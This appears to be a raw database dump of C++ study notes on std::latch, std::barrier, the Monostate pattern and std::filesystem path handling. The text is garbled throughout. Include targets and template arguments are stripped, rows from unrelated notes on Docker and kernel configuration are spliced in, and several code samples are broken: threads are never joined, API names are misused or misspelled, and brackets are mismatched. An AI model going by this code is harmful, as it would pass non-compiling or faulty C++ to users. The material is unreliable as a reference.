equals zero|\n|`wait()`|Immediately returns if internal counter equals zero, blocks otherwise|\n|`arrive_and_wait(std::ptrdiff_t update = 1)`|Equivalent to subsequent call to `count_down(update)` and `wait()`| text txt 2024-07-28 09:51:03.834681 -2114 627 #include \n#include \n#include \n#include text txt 2024-07-28 09:51:04.774323 -2115 627 std::size_t thread_max{std::thread::hardware_concurrency()};\nstd::mutex exclusive{};\nstd::latch works{static_cast(thread_max)};\nstd::vector shared_storage(thread_max); text txt 2024-07-28 09:51:04.794816 -2116 627 void set_data(std::size_t index, long value)\n{\n std::lock_guard automatic_locker{exclusive};\n shared_storage.at(index) = value;\n works.count_down();\n} text txt 2024-07-28 09:51:04.815548 -2117 627 int main()\n{\n std::vector thread_pool(thread_max); text txt 2024-07-28 09:51:04.837537 -2118 627 for (std::size_t thread_index{}; thread_index != thread_max; ++thread_index)\n {\n thread_pool.emplace_back(set_data, thread_index, thread_index);\n } text txt 2024-07-28 09:51:04.859827 -2119 627 works.wait();\n // blocks until all threads have set data\n // {0, 1, 2, 3, 4, 5, 6, 7} on a machine with 8 cores\n} code txt 2024-07-28 09:51:04.882135 -2120 628 `std::barrier<>` is helpful to manage repetitive task leveraged by multiple\nthreads. text txt 2024-07-28 09:51:05.280847 -2121 628 Shortly, `std::barrier<>` is a reusable `std::latch`. text txt 2024-07-28 09:51:05.30233 -2122 629 The constructor of a barrier takes a callable as the **completion function**.\nIn the completion phase, the callable is executed by an arbitrary thread. text txt 2024-07-28 09:51:05.964131 -2123 629 |Method|Description|\n|---|---|\n|`std::barrier{count, task}`|Create a barrier with the specified count and completion function|\n|`auto arrival_token = x.arrive()`|Decrease the count. Trigger completion phase if count reaches zero|\n|`arrive(std::ptrdiff_t update = 1)`|Decrement internal counter `update` times|\n|`wait(arrival_token)`|Blocks at the synchronization point until the completion phase is done|\n|`arrive_and_wait()`|Equivalent to subsequent call to `auto arrival_token = arrive()` and `wait(arrival_token)`|\n|`arrive_and_drop()`|Decrease the internal counter permanently and potentially trigger the completion phase without waiting| text txt 2024-07-28 09:51:05.986698 -2124 629 - Construct a `std::barrier`, with a non-zero count and a completion\n function.\n- One or more threads arrive at the barrier.\n- Some of these threads wait for the barrier to be signalled.\n- When the counter reaches zero, the barrier is signalled, the completion\n function is called and the counter is reset. text txt 2024-07-28 09:51:06.008347 -2125 630 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:51:07.236416 -2279 682 std::filesystem::symlink_status(p); code txt 2024-07-28 09:51:33.461488 -2126 630 std::barrier works{6};\nstd::mutex exclusive{};\nstd::vector shared_storage(6); text txt 2024-07-28 09:51:07.257152 -2127 630 void part_time_job(std::size_t index, long value)\n{\n std::lock_guard automatic_locker{exclusive};\n shared_storage.at(index) = value;\n works.arrive_and_drop();\n // decrement internal counter when done\n} text txt 2024-07-28 09:51:07.278374 -2128 630 void full_time_job(std::size_t index, long value)\n{\n std::lock_guard automatic_locker{exclusive}; text txt 2024-07-28 09:51:07.298309 -2129 630 shared_storage.at(index) = value;\n works.arrive_and_wait(); text txt 2024-07-28 09:51:07.319008 -2130 630 shared_storage.at(index) = value;\n works.arrive_and_wait();\n} text txt 2024-07-28 09:51:07.339683 -2131 630 int main()\n{\n std::vector thread_pool(6); text txt 2024-07-28 09:51:07.361329 -2132 630 for (std::size_t index{}; index != 6; ++index)\n thread_pool.emplace_back(full_time_job, index, index);\n} code txt 2024-07-28 09:51:07.382731 -2133 631 A function is a coroutine if its function body encloses a\ncoroutine-return-statement, an await-expression, or a yield-expression. text txt 2024-07-28 09:51:07.663696 -2134 632 The Monostate pattern (not to be confused with `std::monostate`) is a pattern\nwith similar goals to a Singleton. Where a Singleton only permits a single\ninstance, the Monostate pattern can be instantiated many times while ensuring\nonly one instance of its internal state. text txt 2024-07-28 09:51:10.077137 -2135 632 #include \n#include text txt 2024-07-28 09:51:10.098314 -2136 632 struct MonoConfig\n{\n MonoConfig()\n {\n // ensure a single initialization outside of the static chain, if we\n // don't need multi-threaded safety we can downgrade to a boolean flag\n std::call_once(flag_, populate_config);\n } text txt 2024-07-28 09:51:10.119861 -2137 632 // interface to acess the monostate\n std::uint64_t get_id() const { return field1; }\n const std::string& get_label() const { return field2; } text txt 2024-07-28 09:51:10.141287 -2138 632 private:\n static std::once_flag flag_;\n static std::uint64_t field1;\n static std::string field2; text txt 2024-07-28 09:51:10.164738 -2139 632 static void populate_config()\n {\n /* read the fields from config source */\n field1 = 42;\n field2 = "Hello World";\n };\n}; text txt 2024-07-28 09:51:10.186179 -2140 632 // All static members left default initialized\nstd::once_flag MonoConfig::flag_;\nstd::uint64_t MonoConfig::field1;\nstd::string MonoConfig::field2; text txt 2024-07-28 09:51:10.20644 -2141 632 // create instance of the monostate object\nMonoConfig config; text txt 2024-07-28 09:51:10.226123 -2142 632 // access the global state\nconfig.get_label(); text txt 2024-07-28 09:51:10.247409 -2143 632 // creating additional instances is a no-op. note that when stored as a member,\n// it will still take up minimum 1 byte unless we use [[no_unique_address]].\nMonoConfig a, b, c, d, e, f, g, i, j, k; code txt 2024-07-28 09:51:10.26826 -2144 632 A Monostate with all the downsides of a global state can be a better fit for\ntestability. text txt 2024-07-28 09:51:10.288481 -2145 632 #include text txt 2024-07-28 09:51:10.310352 -2146 632 // when combined with the PIMPL pattern we can mock/fake the global state\nstruct ImplIface {}; text txt 2024-07-28 09:51:10.33157 -2147 632 struct Actual : ImplIface\n{\n static std::unique_ptr make()\n {\n return std::make_unique();\n }\n}; text txt 2024-07-28 09:51:10.35283 -2148 632 struct Testing : ImplIface\n{\n static std::unique_ptr make()\n {\n return std::make_unique();\n }\n}; text txt 2024-07-28 09:51:10.37342 -2149 632 // Switch active type based on testing/production\nusing ActiveType = Testing; text txt 2024-07-28 09:51:10.393088 -2150 632 struct MonoPIMPL\n{\n MonoPIMPL()\n {\n std::call_once(flag_, [] { impl_ = ActiveType::make(); });\n } text txt 2024-07-28 09:51:10.414679 -2151 632 /* expose ImplIface as any other PIMPL */\nprivate:\n static std::once_flag flag_;\n static std::unique_ptr impl_;\n}; text txt 2024-07-28 09:51:10.434327 -2152 632 std::once_flag MonoPIMPL::flag_;\nstd::unique_ptr MonoPIMPL::impl_; code txt 2024-07-28 09:51:10.454765 -2153 633 It consists of an optional *root name*, an optional *root directory*, and a\nsequence of filenames separated by *directory separators*. text txt 2024-07-28 09:51:10.845115 -2154 633 ```\n[root name] [root directory] [filenames]\n/home/brian/\nC:\\\\Windows\\\\Users\\\\Brian\\\\Desktop\n`````` text txt 2024-07-28 09:51:10.865614 -2155 634 The path can be **relative**, so that the file location depends on the current directory, or **absolute**. text txt 2024-07-28 09:51:11.402844 -2156 634 Two formats are possible for path objects: text txt 2024-07-28 09:51:11.423709 -2157 634 - A generic format, which is portable.\n- A native format, which is specific to the underlying file system. text txt 2024-07-28 09:51:11.443889 -2158 634 On POSIX compliant operating systems there is not difference between the\ngeneric and the native format. On Windows the generic format `/tmp/note.txt`\nis a valid native format besides `\\\\tmp\\\\note.txt` which is also supported are\ntwo native versions of the same path. text txt 2024-07-28 09:51:11.464687 -2159 634 The generic path format is as follows: text txt 2024-07-28 09:51:11.485701 -2160 634 `[root name] [root directory] [relative path]` text txt 2024-07-28 09:51:11.506905 -2161 634 - The optional root name is implementation specific (e.g. `//host` on POSIX systems, `C:` on WIndows systems)\n- The optional root root directory is a directory separator\n- The relative path is a sequence of file names separated by directory separators text txt 2024-07-28 09:51:11.528163 -2162 635 In a normalized path: text txt 2024-07-28 09:51:11.855038 -2163 635 - Filenames are separated only by a single preferred directory separator.\n- The filename `.` is not used unless the whole path is nothing but `.`.\n- The filename does not contain `..` filenames unless they are at the\n beginning of a relative path.\n- The path only ends with a directory separator if the trailing filename is a\n directory with a name other than `.` or `..`. text txt 2024-07-28 09:51:11.875327 -2164 636 The filesystem library provides several functions, which can be both member\nand free-standing functions. **Member** functions are cheap because they are\npure lexical operations that do not take the actual filesystem into account,\nso that no operating system calls are necessary, e.g. `mypath.is_absolute()`.\n**Free-standing** functions on the other hand are expensive, because they\nusually take the actual filesystem into account, e.g. `equivalent(path1,\npath2)`. Sometimes, the filesystem library provides the same functionality\noperating both lexically and by the actual filesystem into account, e.g.\n`path1.lexically_relative(path2)`. text txt 2024-07-28 09:51:12.590971 -2165 636 Because of **Argument Dependent Lookup (ADL)** usually we don't have to\nspecify the full namespace `std::filesystem` when calling free-standing\nfilesystem functions. text txt 2024-07-28 09:51:12.612145 -2166 636 create_directory(std::filesystem::path{"/tmp/notes"}); // OK\nremove(std::filesystem::path{"/tmp/note.txt"}); // OK text txt 2024-07-28 09:51:12.633639 -2167 636 std::filesystem::create_directory("/tmp/note.txt"); // OK\nstd::filesystem::remove("/tmp/note.txt"); // OK text txt 2024-07-28 09:51:12.655463 -3198 1049 CONFIG_SAMPLE=m code txt 2024-07-28 09:54:17.844367 -2168 636 create_directory("/tmp/notes"); // ERROR\nremove("/tmp/note.txt"); // OOPS: calls C function remove() code txt 2024-07-28 09:51:12.675011 -2169 637 Because dealing with exception is not always appropriate, the filesystem\nlibrary uses a mixed approach when dealing with the filesystem. text txt 2024-07-28 09:51:13.030056 -2170 637 Filesystem operations usually have two overloads for each operation. text txt 2024-07-28 09:51:13.051412 -2171 637 - By default, the operations throw `std::filesystem_error` exceptions on errors.\n- By passing an additional out parameter, an error code can be used instead. text txt 2024-07-28 09:51:13.071056 -2172 638 #include \n#include text txt 2024-07-28 09:51:13.66077 -2173 638 int main()\n{\n try\n {\n std::filesystem::create_directory("/tmp/");\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.path1() << ": " << exp.what() << std::endl;\n }\n} code txt 2024-07-28 09:51:13.681908 -2174 639 #include \n#include text txt 2024-07-28 09:51:14.332478 -2175 639 int main()\n{\n std::error_code ec;\n std::filesystem::create_directory("/tmp/", ec);\n if (ec)\n {\n std::cerr << ec.message() << std::endl;\n } text txt 2024-07-28 09:51:14.352645 -2176 639 if (ec == std::errc::read_only_file_system)\n {\n std::cerr << "directory is read only\\\\n";\n }\n} code txt 2024-07-28 09:51:14.375125 -2177 640 The standard filesystem library defines an enumeration type `file_type`,\nwhich is standardized to have the following values: text txt 2024-07-28 09:51:14.924669 -2178 640 namespace std::filesystem\n{\n enum class file_type\n {\n regular, directory, symlink,\n block, character, fifo, socket,\n ...\n none, not_found, unknown\n };\n} code txt 2024-07-28 09:51:14.945843 -2179 641 #include \n#include text txt 2024-07-28 09:51:15.456854 -2180 641 using namespace std::string_literals; text txt 2024-07-28 09:51:15.477409 -2181 641 std::filesystem::path{"/dev/null"s}; // std::string\nstd::filesystem::path{L"/dev/null"s}; // std::wstring\nstd::filesystem::u8path{u8"/dev/null"s}; // std::u8string\nstd::filesystem::u16path{u16"/dev/null"s}; // std::u16string\nstd::filesystem::u32path{u32"/dev/null"s}; // std::u32string code txt 2024-07-28 09:51:15.499086 -2182 642 #include \n#include text txt 2024-07-28 09:51:15.836639 -2183 642 std::string filename{"/dev/random"};\nstd::filesystem::path{filename.begin(), filename.end()}; code txt 2024-07-28 09:51:15.858384 -2184 643 Note that `current_path()` is an expensive operation because it is based on\noperating system calls. text txt 2024-07-28 09:51:16.296116 -2185 643 #include text txt 2024-07-28 09:51:16.317359 -2186 643 auto working_directory{std::filesystem::current_path()}; code txt 2024-07-28 09:51:16.33888 -2187 644 #include text txt 2024-07-28 09:51:16.667234 -2188 644 auto temp{std::filesystem::temp_directory_path()}; code txt 2024-07-28 09:51:16.689481 -2189 645 std::filesystem::path p;\np.empty(); // true code txt 2024-07-28 09:51:17.084586 -2190 646 std::filesystem::path p{"assets/image.png"};\np.is_absolute(); // false\np.is_relative(); // true code txt 2024-07-28 09:51:17.429978 -2191 647 std::filesystem::path p{"/usr/src/linux/version"}; text txt 2024-07-28 09:51:18.377562 -2192 647 p.has_filename(); // true\np.filename(); // version text txt 2024-07-28 09:51:18.399329 -2193 647 p.has_stem(); // false\np.stem(); // (none) text txt 2024-07-28 09:51:18.421331 -2194 647 p.has_extension(); // false\np.extension(); // (none) text txt 2024-07-28 09:51:18.441255 -2195 647 p.has_root_name(); // false\np.root_name(); // (none) text txt 2024-07-28 09:51:18.462281 -2196 647 p.has_root_directory(); // true\np.root_directory(); // / text txt 2024-07-28 09:51:18.48398 -2197 647 p.has_root_path(); // true\np.root_path(); // / text txt 2024-07-28 09:51:18.505399 -2198 647 p.has_parent_path(); // true\np.parent_path(); // /usr/src/linux text txt 2024-07-28 09:51:18.525764 -2199 647 p.has_relative_path(); // false\np.relative_path(); // (none) text txt 2024-07-28 09:51:18.546807 -2200 647 p.begin();\np.end(); code txt 2024-07-28 09:51:18.568369 -2201 648 std::filesystem::path p{"/etc/resolv.conf"}; text txt 2024-07-28 09:51:18.87134 -2202 648 p.lexically_normal(); code txt 2024-07-28 09:51:18.892056 -2203 649 std::filesystem::path p{"/etc/os-release"}; text txt 2024-07-28 09:51:19.333554 -2204 649 p.string();\np.wstring();\np.u8string();\np.u16string();\np.u32string(); code txt 2024-07-28 09:51:19.353753 -2205 650 Lexically relative path can be used in symbolic link creation. text txt 2024-07-28 09:51:19.8993 -2206 650 Lexical relative path yields the empty path if there is no relative path from p1 to p2. text txt 2024-07-28 09:51:19.922663 -2207 650 std::filesystem::path{"a/b/c"}.lexically_relative("/a/d"); // ../b/c\nstd::filesystem::path{"a/d"}.lexically_relative("/a/b/c"); // ../../d code txt 2024-07-28 09:51:19.943385 -2208 650 Lexical proximate path yields p1 if there is no relative path from p1 to p2. text txt 2024-07-28 09:51:19.965002 -2209 650 std::filesystem::path{"a/b"}.lexically_relative("c/d"}; // ""\nstd::filesystem::path{"a/b"}.lexically_proximate("c/d"}; // "a/b" code txt 2024-07-28 09:51:19.98584 -2210 651 std::filesystem::path p{"/dir\\\\\\\\subdir/subsubdir\\\\\\\\/./\\\\\\\\"}; text txt 2024-07-28 09:51:20.775342 -2211 651 p.generic_string(); // all the same: /dir/subdir/subsubdir//.//\np.generic_wstring();\np.generic_u8string();\np.generic_u16string();\np.generic_u32string(); code txt 2024-07-28 09:51:20.795627 -2212 651 `native()` yields the path converted to the native string encoding, which is\ndefined by the type `std::filesystem::path::string_type`. Under Windows this\ntype is `std::wstring`, so that you have to use `std::wcout`. text txt 2024-07-28 09:51:20.816668 -2213 651 `c_str()` does the same but yields the result as a null terminated character\nsequence. Note that using this function is also not portable. text txt 2024-07-28 09:51:20.83829 -2214 651 `make_preferred()` replaces any directory separator except for the root name\nby the native directory separator. text txt 2024-07-28 09:51:20.859487 -2215 651 p.native(); // /dir\\\\subdir/subsubdir\\\\/./\\\\\np.c_str(); // same\np.preferred(); // \\\\\\\\dir\\\\\\\\subdir\\\\\\\\subsubdir\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\ code txt 2024-07-28 09:51:20.882119 -2216 652 `+` , `+=` and `concat()` just append new characters to a path. text txt 2024-07-28 09:51:21.39431 -2217 652 std::filesystem::path p{"project"}; text txt 2024-07-28 09:51:21.415327 -2218 652 auto p2 = p + ".git"; // project.git text txt 2024-07-28 09:51:21.435605 -2219 652 p += ".git"; // project.git\np2.concat(".git"); // project.git text txt 2024-07-28 09:51:21.456836 -2220 652 std::filesystem::path p3{".git"};\np.concat(p3.begin(), p3.end()); // project.git code txt 2024-07-28 09:51:21.478171 -2221 653 `/` , `/=` and `append()` add a subpath separated with the current directory\nseparator. text txt 2024-07-28 09:51:21.996342 -2222 653 std::filesystem::path p{"project"}; text txt 2024-07-28 09:51:22.015559 -2223 653 auto p2 = p / ".git"; // project.git text txt 2024-07-28 09:51:22.034219 -2224 653 p.append(".git"); // project.git\np /= ".git"; // project.git text txt 2024-07-28 09:51:22.054803 -2225 653 std::filesystem::path p3{".git"};\np.append(p3.begin(), p3.end()); code txt 2024-07-28 09:51:22.076276 -2571 813 docker swarm init --autolock code txt 2024-07-28 09:52:28.01362 -2226 654 std::filesystem::path p{"/src/project/main"};\np.replace_extension(".cpp"); // /src/project/main.cpp code txt 2024-07-28 09:51:22.343987 -2227 655 std::filesystem::path p; text txt 2024-07-28 09:51:22.775294 -2228 655 std::string s{"/src/projects/linux"};\np.assign(s); text txt 2024-07-28 09:51:22.795498 -2229 655 std::string_view sv{"/src/projects/linux-stable"};\np.assign(sv); text txt 2024-07-28 09:51:22.817023 -2230 655 std::filesystem::path p2{"/src/projects/linux-hardened"};\np.assign(p2.begin(), p2.end()); code txt 2024-07-28 09:51:22.837905 -2231 656 std::filesystem::path p1;\nstd::filesystem::path p2; text txt 2024-07-28 09:51:23.174247 -2232 656 p1.swap(p2);\nstd::swap(p1, p2); code txt 2024-07-28 09:51:23.194617 -2233 657 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_filename("window.cpp"); // /src/project/window.cpp code txt 2024-07-28 09:51:23.472503 -2234 658 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension("hpp"); // /src/project/main.hpp code txt 2024-07-28 09:51:23.76231 -2235 659 std::filesystem::path p;\np.make_preferred(); code txt 2024-07-28 09:51:24.022566 -2236 660 std::filesystem::path p{"/src/project/main.cpp"};\np.remove_filename(); // /src/project/ code txt 2024-07-28 09:51:24.317858 -2237 661 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension(); // /src/project/main code txt 2024-07-28 09:51:24.643586 -2238 662 `==` , `!=` , `<` , `>` , `<=` , `>=` , `compare(p2)` , `compare(sv)` and `equivalent(p1, p2)` are available. text txt 2024-07-28 09:51:24.88894 -2239 663 Using `==` , `!=` and `compare()` the following paths are all different: text txt 2024-07-28 09:51:25.596887 -2240 663 ```\ntmp/f\n./tmp/f\ntmp/./f\ntmp/subtmp/../f\ntmp//f\n/tmp\\\\f\ntmp/\\\\/f\n`````` text txt 2024-07-28 09:51:25.617541 -2241 663 Only if you call `lexically_normal()` for each path, all of the paths above are equal. text txt 2024-07-28 09:51:25.639331 -2242 663 std::filesystem::path p1{"tmp/f"};\nstd::filesystem::path p2{"tmp/./f"}; text txt 2024-07-28 09:51:25.660242 -2243 663 p1 == p2; // false\np1.compare(p2); // not 0\np1.lexically_normal() == p2.lexically_normal(); // true\np1.lexically_normal().compare(p2.lexically_normal()); // 0 code txt 2024-07-28 09:51:25.680166 -2244 664 To take the filesystem into account so that symbolic links are correctly\nhandled, use `equivalent()`. Note that this function requires that both paths\nrepresent existing files. text txt 2024-07-28 09:51:26.154175 -2245 664 std::filesystem::path p1{"/tmp/sym1"};\nstd::filesystem::path p2{"/tmp/sym2"}; text txt 2024-07-28 09:51:26.176288 -2246 664 std::filesystem::exists(p1); // true\nstd::filesystem::exists(p2); // true\nstd::filesystem::equivalent(p1, p2); code txt 2024-07-28 09:51:26.196455 -2247 665 std::filesystem::exists(p); code txt 2024-07-28 09:51:26.482796 -2248 666 Note that these functions follow symbolic links.\nSo for a symbolic link to a directory both `is_symlink()` and `is_directory()` yield true. text txt 2024-07-28 09:51:26.90415 -2249 666 std::filesystem::is_symlink(p);\nstd::filesystem::is_regular_file(p);\nstd::filesystem::is_directory(p); code txt 2024-07-28 09:51:26.926561 -2250 667 std::filesystem::is_other(p); code txt 2024-07-28 09:51:27.185322 -2251 668 std::filesystem::is_block_file(p);\nstd::filesystem::is_character_file(p);\nstd::filesystem::is_fifo(p);\nstd::filesystem::is_socket(p); code txt 2024-07-28 09:51:27.53257 -2252 669 std::filesytem::is_empty(p); code txt 2024-07-28 09:51:27.812025 -2253 670 This free-standing function returns the size of file p in bytes if it exists\nas regular file. For all other files the result is implementation-defined and\nnot portable. text txt 2024-07-28 09:51:28.219629 -2254 670 auto bytes = std::filesystem::file_size(p); code txt 2024-07-28 09:51:28.239394 -2255 671 std::filesystem::hard_link_count(p); code txt 2024-07-28 09:51:28.517075 -2256 672 Returns the timepoint of the last modification or write access of the file. The return type is a special `std::chrono::time_point` type. text txt 2024-07-28 09:51:29.060468 -2257 672 namespace std::filesystem {\n using file_time_type = chrono::time_point;\n} code txt 2024-07-28 09:51:29.082889 -2258 672 The clock type is an implementation specific clock type that reflects the resolution and range of file time values. text txt 2024-07-28 09:51:29.103359 -2259 672 auto last_write = last_write_time(p);\nauto diff = std::filesystem::file_time_type::clock::now() - last_write;\nauto last_write_seconds = std::chrono::duration_cast(diff).count(); code txt 2024-07-28 09:51:29.122914 -2260 673 std::filesystem::space_info = std::filesystem::space(p); code txt 2024-07-28 09:51:29.665785 -2261 673 The return value of `space()` is the following signature: text txt 2024-07-28 09:51:29.68544 -2262 673 namespace std::filesystem {\n struct space_info {\n uintmax_t capacity;\n uintmax_t free;\n uintmax_t available;\n };\n} code txt 2024-07-28 09:51:29.706359 -2263 674 `rename()` can deal with any type of file including directories and symbolic\nlinks. text txt 2024-07-28 09:51:30.108171 -2264 674 Renaming symbolic links will rename the link, not where it refers to. text txt 2024-07-28 09:51:30.129784 -2265 674 std::filesystem::rename(old, new); code txt 2024-07-28 09:51:30.150541 -2266 675 std::filesystem::last_write_time(p, newtime);\nstd::filesystem::last_write_time(p, std::filesystem::file_time_type::clock::now()); code txt 2024-07-28 09:51:30.454654 -2267 676 std::filesystem::permissions(p, perms);\nstd::filesystem::permissions(p, perms, mode); code txt 2024-07-28 09:51:31.024784 -2268 676 The optional `mode` is of the bitmask enumeration type `perm_options`,\ndefined in namespace `std::filesystem`. It allows on one hand to choose\nbetween `replace`, `add`, and `remove` and on the other hand with `nofollow`\nto modify permissions of the symbolic links instead of the files they refer\nto. text txt 2024-07-28 09:51:31.04556 -2269 676 // remove write access for group and any access for others\nstd::filesystem::permissions(p, std::filesystem::perms::owner_write | std::filesystem::perms::others_all, std::filesystem::perm_options::remove); code txt 2024-07-28 09:51:31.066136 -2270 677 std::filesystem::resize_file(p, newSize); code txt 2024-07-28 09:51:31.380303 -2271 678 std::filesystem::current_path(p); code txt 2024-07-28 09:51:31.712666 -2272 679 `exists()` follows symbolic links. So, it yields `false` if there is a\nsymbolic link to a non-existing file. To avoid following symbolic links, use\n`symlink_status()` and then call `exists()` using the returned `file_status`\nobject. text txt 2024-07-28 09:51:32.398793 -2273 679 #include \n#include text txt 2024-07-28 09:51:32.419743 -2274 679 int main()\n{\n std::filesystem::path existing_file{"/dev/random"};\n std::filesystem::path non_existing_file{"/dev/none"};\n std::filesystem::path existing_symlink{"/lib"}; text txt 2024-07-28 09:51:32.441117 -2275 679 std::filesystem::exists(existing_file);\n std::filesystem::exists(non_existing_file);\n std::filesystem::exists(symlink_status(existing_symlink));\n} code txt 2024-07-28 09:51:32.462799 -2276 680 Use `symlink_status()` function to return a `file_status` object and call\nthese functions with it. text txt 2024-07-28 09:51:32.892488 -2277 680 // check if p doesn't exist yet (as symbolic link)\nif (!exists(symlink_status(p)))\n ... code txt 2024-07-28 09:51:32.912931 -2278 681 std::filesystem::status(p); code txt 2024-07-28 09:51:33.173695 -2280 683 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p); text txt 2024-07-28 09:51:33.933297 -2281 683 std::filesystem::is_regular_file(fs);\nstd::filesystem::is_directory(fs);\nstd::filesystem::is_symlink(fs);\nstd::filesystem::is_other(fs); text txt 2024-07-28 09:51:33.953561 -2282 683 std::filesystem::is_character_file(fs);\nstd::filesystem::is_block_file(fs);\nstd::filesystem::is_fifo(fs);\nstd::filesystem::is_socket(fs); code txt 2024-07-28 09:51:33.974546 -2283 684 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p);\nstd::filesystem::file_type ft = fs.type(); text txt 2024-07-28 09:51:34.589291 -2284 684 switch (fs.type())\n{\n using std::filesystem::file_type;\n case (file_type::regular): std::cout << "regular"; break;\n case (file_type::directory): std::cout << "directory"; break;\n case (file_type::block): std::cout << "block"; break;\n case (file_type::character): std::cout << "char"; break;\n case (file_type::symlink): std::cout << "symlink"; break;\n case (file_type::socket): std::cout << "socket"; break;\n case (file_type::fifo): std::cout << "fifo"; break;\n case (file_type::not_found): std::cout << "not found"; break;\n case (file_type::unknown): std::cout << "unknown"; break;\n case (file_type::none): std::cout << "none"; break;\n} code txt 2024-07-28 09:51:34.612483 -2285 685 std::filesystem::path p{};\nstd::filesysetm::file_status fs = std::filesystem::status(p);\nstd::filesystem::perms file_permissions = fs.permissions(); code txt 2024-07-28 09:51:34.896079 -2286 686 #include \n#include text txt 2024-07-28 09:51:35.332317 -2287 686 int main()\n{\n std::filesystem::path file{"/etc/passwd"};\n std::filesystem::file_status status{std::filesystem::status(file)};\n std::cout << "file type: ";\n std::cout << "\\\\n";\n} code txt 2024-07-28 09:51:35.352836 -2288 687 |Enum|Octal|POSIX|\n|---|---|---|\n|`none`|0||\n|`owner_read`|0400|`S_IRUSR`|\n|`owner_write`|0200|`S_IWUSR`|\n|`owner_exec`|0100|`S_IXUSR`|\n|`owner_all`|0700|`S_IRWXU`|\n|`group_read`|040|`S_IRGRP`|\n|`group_write`|020|`S_IWGRP`|\n|`group_exec`|010|`S_IXGRP`|\n|`group_all`|070|`S_IRWXG`|\n|`others_read`|04|`S_IROTH`|\n|`others_write`|02|`S_IWOTH`|\n|`others_exec`|01|`S_IXOTH`|\n|`others_all`|07|`S_IRWXO`|\n|`all`|0777||\n|`set_suid`|04000|`S_ISUID`|\n|`set_guid`|02000|`S_ISGID`|\n|`sticky_bit`|01000|`S_ISVTX`|\n|`mask`|07777||\n|`unknown`|0xFFFF|| text txt 2024-07-28 09:51:36.391878 -2289 687 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::symlink_status(fs);\nstd::filesystem::perms perms = fs.permissions();\nstd::filesystem::perms write_free = std::filesystem::perms::owner_write | std::filesystem::perms::group_write | std::filesystem::perms::others_write; text txt 2024-07-28 09:51:36.413533 -2290 687 if ((perms & write_free) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 09:51:36.43397 -2291 687 A shorter way to initialize a bitmask is: text txt 2024-07-28 09:51:36.453728 -2292 687 if ((perms & std::filesystem::perms{0222}) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 09:51:36.474865 -2293 688 #include text txt 2024-07-28 09:51:36.850335 -2294 688 std::fstream file{"/tmp/non-existing-file"}; code txt 2024-07-28 09:51:36.870479 -2295 689 std::filesystem::create_directory(p);\nstd::filesystem::create_directory(p, attributes); code txt 2024-07-28 09:51:37.404998 -2296 689 The functions to create one or more directories return whether a new\ndirectory was created. Thus, finding a directory that is already there is not\nan error. However, finding a file there that is not a directory is also not\nan error. text txt 2024-07-28 09:51:37.425163 -2297 689 if (!create_directory(p) && !is_directory(p))\n{\n std::cerr << p << " already exists as a non-directory\\\\n";\n} code txt 2024-07-28 09:51:37.445216 -2298 690 std::filesystem::create_directories(p); code txt 2024-07-28 09:51:37.705673 -2299 691 If path already exists as a symbolic link to a non-existing file, it will try\nto create the symbolic link at the location where already the symbolic link\nexists and raise a corresponding exception. text txt 2024-07-28 09:51:38.078631 -2300 691 std::filesystem::create_symlink(to, new); code txt 2024-07-28 09:51:38.098557 -2301 692 std::filesystem::create_directory_symlink(to, new); code txt 2024-07-28 09:51:38.342163 -2302 693 std::filesystem::create_hard_link(p); code txt 2024-07-28 09:51:38.599437 -2303 694 std::filesystem::copy(from, to);\nstd::filesystem::copy(from, to, options); code txt 2024-07-28 09:51:38.935775 -2304 695 std::filesystem::copy_file(from, to);\nstd::filesystem::copy_file(from, to, options); code txt 2024-07-28 09:51:39.2015 -2305 696 Copy functions: text txt 2024-07-28 09:51:39.91234 -2306 696 - Don't work with special file types.\n- Report an error if existing files are overwritten.\n- Don't operate recursively.\n- Follow symbolic links. text txt 2024-07-28 09:51:39.934069 -2307 696 enum class std::filesystem::copy_options {\n none,\n skip_existing, // skip overwriting existing files\n overwrite_existing, // overwrite existing files\n update_existing, // overwrite existing files if the new files are newer\n recursive, // recursively copy sub-directories and their contents\n copy_symlinks, // copy symbolic links as symbolic links\n skip_symlinks, // ignore symbolic links\n directories_only, // copy directories only\n create_hard_links, // create additional hard links instead of copies of files\n create_symlinks // create symbolic links instead of copies of files\n // for latter option the source path must be absolute path unless\n // the destination path is in the current directory\n}; code txt 2024-07-28 09:51:39.955776 -2308 697 Both symlinks would refer to the same file. text txt 2024-07-28 09:51:40.249749 -2309 697 std::filesystem::copy_symlink(from, to); code txt 2024-07-28 09:51:40.26952 -2310 698 std::filesystem::remove(p); code txt 2024-07-28 09:51:40.553697 -2311 699 Removes a file or recursively a directory. It returns as `uintmax_t` value\nhow many files were removed. It returns 0 if there was no file and\n`uintmax_t(-1)` if an error occured and no exception is thrown. text txt 2024-07-28 09:51:40.866295 -2312 699 std::filesystem::remove_all(p); code txt 2024-07-28 09:51:40.886868 -2313 700 The symbolic link and the file it refers to must already exist. text txt 2024-07-28 09:51:41.218023 -2314 700 std::filesystem::read_symlink(symlink); code txt 2024-07-28 09:51:41.238528 -2315 701 `absolute()` function does not follow symbolic links. text txt 2024-07-28 09:51:41.711433 -2316 701 std::filesystem::absolute(p); code txt 2024-07-28 09:51:41.73268 -2317 701 `canonical()` function follows symbolic links.\nThe file must already exist for this function to work. text txt 2024-07-28 09:51:41.753854 -2318 701 std::filesystem::canonical(p);\nstd::filesystem::weakly_canonical(p); code txt 2024-07-28 09:51:41.774229 -2319 702 std::filesystem::relative(p);\nstd::filesystem::proximate(p); code txt 2024-07-28 09:51:42.058147 -2320 703 std::filesystem::relative(p, base);\nstd::filesystem::proximate(p, base); code txt 2024-07-28 09:51:42.353024 -2321 704 The most convenient way to do is to use a range-based for loop. text txt 2024-07-28 09:51:42.769538 -2322 704 for (auto const& entry: std::filesystem::directory_iterator(dir))\n{\n std::cout << entry.lexically_normal().string() << '\\\\n';\n} code txt 2024-07-28 09:51:42.790286 -2323 705 code txt 2024-07-28 09:51:43.047768 -3223 1057 uio\niwlwifi code txt 2024-07-28 